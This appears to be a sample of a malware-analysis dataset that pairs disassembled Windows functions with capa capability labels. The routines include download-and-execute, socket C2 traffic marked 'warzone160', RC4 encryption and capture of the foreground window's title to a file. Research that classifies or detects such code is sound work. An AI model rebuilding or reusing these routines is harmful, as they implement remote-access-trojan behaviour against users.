joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48bcc6
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x37
sbb eax, 0x42198807
jne 0x48bcc4
scasb al, byte es:[edi]

Function at 0x4a30e2
Capabilities:
Encode data using xor

Disassembly:
mov cl, 0x17
mov cs, word [edi - 0x4b]
push es
sbb al, 0xb6
inc edi
ja 0x4a30d9
out dx, al
xchg esi, eax
out 0xa1, eax
pop ebp
add dword [edx - 0x25e1bc6b], 0xb088a8e2
jns 0x4a30f1
mov byte [eax - 0x14b30387], dh
pushal
int 0xf6
xor byte [ecx], bh
mov esp, 0x582bfa8a
push 0x93a213a3
xchg ecx, eax
js 0x4a30d9
dec esp
jmp 0x4a3158
in eax, dx
push ecx
mov dl, 0xe
fmul st(0), st(0)
push es
aaa
test byte [ebp + 0x49e9ea89], dh
xchg edi, eax
movsd dword es:[edi], dword [esi]
and bh, al
mov ecx, 0xb42f3a2c
invalid
loop 0x4a3185
popfd
movsd dword es:[edi], dword [esi]
pop esi
or byte [edx - 0x2a], ah
salc
mov cl, 0xf5
mov edi, 0xef33c6ee
lahf
test dword [edx + 0x786970fd], esp
aam 0xe2
pop ss
push ds
mov ebx, 0x299ac20b
mov byte [esi + 0x55], ah
sub dword [esi - 0x78], esp
push bp
inc eax
sbb bl, byte [edx + eax*8 - 0x68f58a5c]
jne 0x4a3164
xchg edi, eax
pop ds
cmp byte [edx - 0x2e], cl
mov dh, 0xbe
xor eax, 0xc9e32c96
jecxz 0x4a312f
mov dword [0x94f5c3da], esi
lcall 0x1032, 0x9f8f5c35
fisubr word [di]
popfd
or al, bl
jne 0x4a31a7
jbe 0x4a31e7
pushal
or dh, dh
test al, 0xd7
jne 0x4a314e
mov byte [ebx], al
xchg edx, eax
adc byte [ecx - 0x6a0ad4c3], ah
add edx, dword [edx + 0x2b3da110]
cmc
xchg ebp, eax
imul ecx, ebx, 0xffffff8c
mov ebx, 0x37b31dd9
div byte [edx]
in eax, 0x85
outsb dx, byte [esi]
jmp 0x968e1103
sbb edx, dword [ecx - 0x22]
lodsb al, byte [esi]
add ch, bh
sub al, 0x8c
shr ebx, 1
imul edi, dword [ecx - 0xc56ca51], 0xf838261d
push eax
daa
xor cl, byte [eax + 0x6fbd945]
sub esi, dword [ecx]
stc
cmpsb byte [esi], byte es:[edi]
insd dword es:[edi], dx
sub bh, ah
push esi
pop ebp
dec ebp
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
or eax, ebp
cmp eax, 0x9ad9502f
into
adc edi, edx
sub dword [edi + 0x73], ecx
retf 0x222
ret
Function at 0x4bb7bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33c0
cmp edx, dword [eax]
je 0x4bb7df
add eax, 8
inc ecx
cmp eax, 0x4c3450
jl 0x4bb7d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33c0]
jne 0x4bb90d
mov eax, dword [0x4c8df0]
cmp eax, 1
je 0x4bb8e7
test eax, eax
jne 0x4bb810
cmp dword [0x4c32ec], 1
je 0x4bb8e7
cmp edx, 0xfc
je 0x4bb90d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb847
lea eax, [ebp - 0x1a4]
push 0x4c09e0
push eax
call fcn.004bc1a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc630
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb88a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc630
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c09dc
push edi
call fcn.004be500
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c09c0
push eax
call fcn.004bc1a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc1b0
lea eax, [ebp - 0xa0]
push 0x4c09bc
push eax
call fcn.004bc1b0
push dword [esi + 0x4c33c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc1b0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c0994
push eax
call fcn.004be474
add esp, 0x2c
pop edi
jmp 0x4bb90d
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33c4]
push 0
push eax
push dword [esi]
call fcn.004bc630
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x81e8e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x81eb9
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x81ed3
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret

Function at 0x82505
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [edx + 4], esi
jne 0x82538
lea eax, [edx + 8]
push eax
lea ecx, [ebp - 4]
call fcn.000833f3
push 5
push esi
push esi
push dword [ebp - 4]
push 0x92468
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
call fcn.000858fb
pop esi
leave
ret

Function at 0x8264b
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.0008d51c
push 0xa
pop edx
lea ecx, [ebp - 0xc]
call fcn.0008326d
push 0x92464
lea ecx, [ebp - 8]
mov esi, eax
call fcn.00083230
push esi
mov ecx, eax
call fcn.000830fb
mov ecx, dword [ebp - 0xc]
call fcn.000858fb
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.000833f3
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.000832e3
push eax
lea ecx, [ebp - 8]
call fcn.000830fb
mov ecx, dword [ebp + 8]
call fcn.000858fb
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.000858fb
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.000833f3
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.000858fb
test esi, esi
je 0x826f5
mov dword [ebp - 0xc], 1
jmp 0x82717
push 5
push edi
push edi
push dword [ebp - 8]
push 0x92468
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x82717
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x925a4
push eax
mov ecx, ebx
call fcn.00084a3d
mov ecx, dword [ebp - 8]
call fcn.000858fb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x82747
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, edx
push 0
push ecx
mov ecx, esp
lea esi, [edi + 8]
push esi
call fcn.000833f3
lea ecx, [ebp - 0x20]
call fcn.0008dd2b
push esi
lea ecx, [ebp - 4]
call fcn.000833f3
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.000858fb
push ecx
test esi, esi
jne 0x82793
push ecx
lea ecx, [ebp - 0x20]
call fcn.0008dcf9
jmp 0x827a0
push 0x40000000
lea ecx, [ebp - 0x20]
call fcn.0008dcba
test eax, eax
je 0x827cd
lea eax, [edi + 0x14]
push eax
lea ecx, [ebp - 8]
call fcn.00082e12
push ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0008dc65
lea ecx, [ebp - 8]
call fcn.00082dff
lea ecx, [ebp - 0x20]
call fcn.0008dc4d
lea ecx, [ebp - 0x20]
call fcn.0008da15
pop edi
pop esi
leave
ret

Function at 0x82aff
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x13c]
xor ebx, ebx
push eax
push ebx
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
lea ecx, [ebp - 0x13c]
call fcn.0008f5c8
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push ecx
mov ecx, eax
mov dword [ebp - 8], ebx
call fcn.0008f2c7
pop ecx
pop ecx
push dword [ebp - 8]
push ecx
mov ecx, esp
push 0x92428
call fcn.000833ab
push ecx
mov ecx, esp
call fcn.0008d7a6
call fcn.0008d780
push eax
call fcn.0008d724
push eax
call fcn.0008d56a
push eax
push 0xb4
push ecx
push ecx
mov ecx, esp
push ecx
call fcn.0008d7e0
pop ecx
lea ecx, [ebp - 0x34]
call fcn.00083e02
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x34]
call fcn.00083dd8
cmp dword [esi + 0x34], ebx
je 0x82c01
push 0x208
lea eax, [ebp - 0x344]
push ebx
push eax
call fcn.00081052
add esp, 0xc
lea eax, [ebp - 0x344]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push edi
call fcn.00088431
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x94784
push eax
mov ecx, edi
call fcn.00084a3d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x82f9a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00081052
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.000833ab
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x85042
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x85057
xor eax, eax
jmp 0x850c5
push str.warzone160
lea ecx, [ebp - 8]
call fcn.00083185
push eax
lea ecx, [ebp - 0x14]
call fcn.00082dcc
mov ecx, dword [ebp - 8]
call fcn.000858fb
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.00082e12
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00082e12
lea ecx, [ebp - 0xc]
call fcn.00085b00
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00082dff
lea ecx, [ebp - 0x14]
call fcn.00082dff
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x850cc
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1040
call fcn.00081130
mov eax, ecx
push ebx
push esi
push edi
cmp dword [eax + 0xc], 0xffffffff
mov dword [ebp - 8], eax
je 0x8528d
push 4
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0xea60
push ecx
push 0x1006
push 0xffff
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x1000
xor ebx, ebx
lea eax, [ebp - 0x103c]
push ebx
push eax
call fcn.00081052
add esp, 0xc
lea ecx, [ebp - 0xc]
push str.warzone160
call fcn.00083185
push eax
lea ecx, [ebp - 0x30]
call fcn.00082dcc
mov ecx, dword [ebp - 0xc]
call fcn.000858fb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
push 0xfffffffffffffffe
or esi, 0xffffffff
mov ebx, 0x1000
pop edi
cmp esi, 0xffffffff
je 0x85162
mov eax, esi
sub eax, edi
cmp eax, 0x1000
cmovl ebx, eax
push 0
push ebx
lea eax, [ebp - 0x103c]
push eax
mov eax, dword [ebp - 8]
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x85275
cmp esi, 0xffffffff
jne 0x851e9
cmp eax, 0xc
jl 0x851e9
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x103c]
and dword [ebp - 0x18], 0
lea ecx, [ebp - 0x1c]
push 0xc
push eax
call fcn.00082d5a
push ecx
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.00082e12
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00082e12
lea ecx, [ebp - 0x38]
call fcn.00085b00
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x38]
add esp, 0x10
xor edi, edi
mov esi, dword [eax + 4]
add esi, 0xc
call fcn.00082dff
lea ecx, [ebp - 0x1c]
call fcn.00082dff
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add edi, eax
push eax
lea eax, [ebp - 0x103c]
push eax
lea ecx, [ecx + 0x10]
call fcn.00082d5a
cmp edi, esi
jl 0x85151
mov ebx, dword [ebp - 8]
lea ecx, [ebp - 0x14]
push edi
lea esi, [ebx + 0x10]
push dword [esi]
call fcn.00082d5a
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00082e12
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00082e12
lea ecx, [ebp - 0x28]
call fcn.00085b00
add esp, 0x10
mov ecx, esi
call fcn.00082d8c
push edi
push dword [ebp - 0x28]
mov ecx, esi
call fcn.00082d5a
lea ecx, [ebp - 0x14]
call fcn.00082d8c
lea ecx, [ebp - 0x28]
call fcn.00082d8c
push dword [ebp + 8]
mov ecx, ebx
call fcn.00084a77
lea ecx, [ebp - 0x28]
call fcn.00082dff
jmp 0x85146
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x14]
call fcn.00082dff
lea ecx, [ebp - 0x30]
call fcn.00082dff
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x85294
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.00082eeb
mov eax, dword [ebp + 0xc]
lea ecx, [ebx + 0x1d8]
mov dword [ebx + 4], eax
call fcn.0008dd97
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
xor edi, edi
push eax
push 0
push dword [ebp + 8]
inc edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x85348
mov eax, dword [ebp - 4]
push 0
push edi
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0xc], eax
cmp eax, 0xffffffff
je 0x85348
mov eax, dword [esi + 4]
lea esi, [ebx + 0x1c8]
push 2
mov dword [ebx + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebx + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x8535b
or dword [ebx + 0xc], eax
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.000858fb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
push dword [ebx + 0x1d8]
mov dword [ebx + 8], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x8534a

Function at 0x8536c
Capabilities:
Initialize winsock library

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00082f89
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.0008ddc0
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x85738
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
mov al, byte [ecx]
cmp al, 0x22
jne 0x85775
inc ecx
mov dl, byte [ecx]
test dl, dl
je 0x85765
mov al, dl
mov dl, al
cmp al, 0x22
je 0x85765
inc ecx
mov dl, byte [ecx]
mov al, dl
test dl, dl
jne 0x85756
lea eax, [ecx + 1]
cmp dl, 0x22
cmovne eax, ecx
mov ecx, eax
jmp 0x85780
inc ecx
mov al, byte [ecx]
cmp al, 0x20
jg 0x85772
jmp 0x85782
cmp al, 0x20
jg 0x85786
inc ecx
mov al, byte [ecx]
test al, al
jne 0x8577b
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.000857c6
mov edx, 0x9602c
mov ecx, section..data
call fcn.000857f3
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
push ecx
call fcn.00090a7c
mov esi, eax
call fcn.000857db
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x859f7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
jmp 0x85a5b
inc esi
and esi, 0x800000ff
jns 0x85a1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + ebx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x85a33
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp + 8], eax
mov al, byte [eax + ebx]
mov byte [esi + ebx], al
mov eax, dword [ebp + 8]
mov byte [eax + ebx], cl
movzx eax, byte [esi + ebx]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [eax + ebx]
xor byte [ecx], al
inc ecx
mov eax, dword [ebp + 8]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x85a0c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x85cc2
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x8701b
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0008dd97
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x8707f
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.000856f9
mov esi, dword [ebx]
mov edx, dword [ebp + 0xc]
add esi, edi
mov ecx, dword [ebx + 8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], edx
je 0x87095
mov edi, dword [ebp - 0x10]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x87049
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, ecx
setb cl
call fcn.000856f9
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.000858fb
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.000856f9
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.000856f9
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x8711b
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x87101
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x87081
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.00083ce3
mov ecx, dword [ebp + 8]
push eax
call fcn.00084a3d
lea ecx, [ebp - 0x4c]
call fcn.00083c49
lea ecx, [ebp - 0x18]
call fcn.00082dff
jmp 0x87081
Function at 0x87167
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ebx, ecx
push 0x14
pop ecx
call fcn.00085878
mov esi, dword [ebp + 0xc]
mov edi, eax
mov edx, dword [esi + 4]
lea ecx, [esi + 8]
push ecx
lea ecx, [edi + 0x10]
mov dword [edi + 0xc], edx
call fcn.000831fd
mov eax, dword [ebp + 8]
lea ecx, [ebx + 0x10]
mov dword [edi + 4], eax
mov dword [edi], ebx
mov eax, dword [esi + 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edi
call fcn.0008dd97
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push edi
push 0x86e11
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov edi, esp
lea esi, [ebp - 0x14]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00081dfe
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x87966
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00081052
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jle 0x879ed
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
call fcn.000833ab
push 0x927c8
lea ecx, [ebp - 4]
mov esi, eax
call fcn.00083230
mov edi, eax
push esi
mov ecx, edi
call fcn.000830fb
push 0x927cc
mov ecx, edi
call fcn.00083230
mov ecx, dword [ebp - 8]
call fcn.000858fb
mov dword [ebp - 8], ebx
jmp 0x879fa
push 0x927d0
lea ecx, [ebp - 4]
call fcn.000830c5
mov eax, dword [0x966ac]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x966ac]
je 0x87a4f
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.000833ab
push eax
lea ecx, [ebp - 4]
call fcn.0008300e
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.000858fb
mov eax, dword [0x966ac]
mov dword [ebp - 8], ebx
test esi, esi
je 0x87a4f
mov dword [eax + 0xa10], 1
jmp 0x87a69
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x966ac]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x966ac]
cmp dword [ecx + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ecx + 4], eax
jne 0x87af9
push 0
lea eax, [ecx + 8]
mov esi, 0x927c0
push eax
push esi
call edi
push eax
mov eax, dword [0x966ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x966ac]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 4]
add eax, 8
push 0
push eax
call fcn.00083027
add eax, eax
push eax
mov eax, dword [0x966ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x966ac]
mov esi, 0x927c0
push 0
add eax, 8
push eax
push esi
call edi
push eax
mov eax, dword [0x966ac]
push esi
push dword [eax + 4]
call ebx
mov ecx, dword [0x966ac]
mov esi, dword [ebp - 0xc]
lea eax, [ecx + 8]
push 0
push eax
push esi
call edi
add eax, eax
push eax
mov eax, dword [0x966ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x966ac]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.000858fb
pop edi
pop esi
pop ebx
leave
ret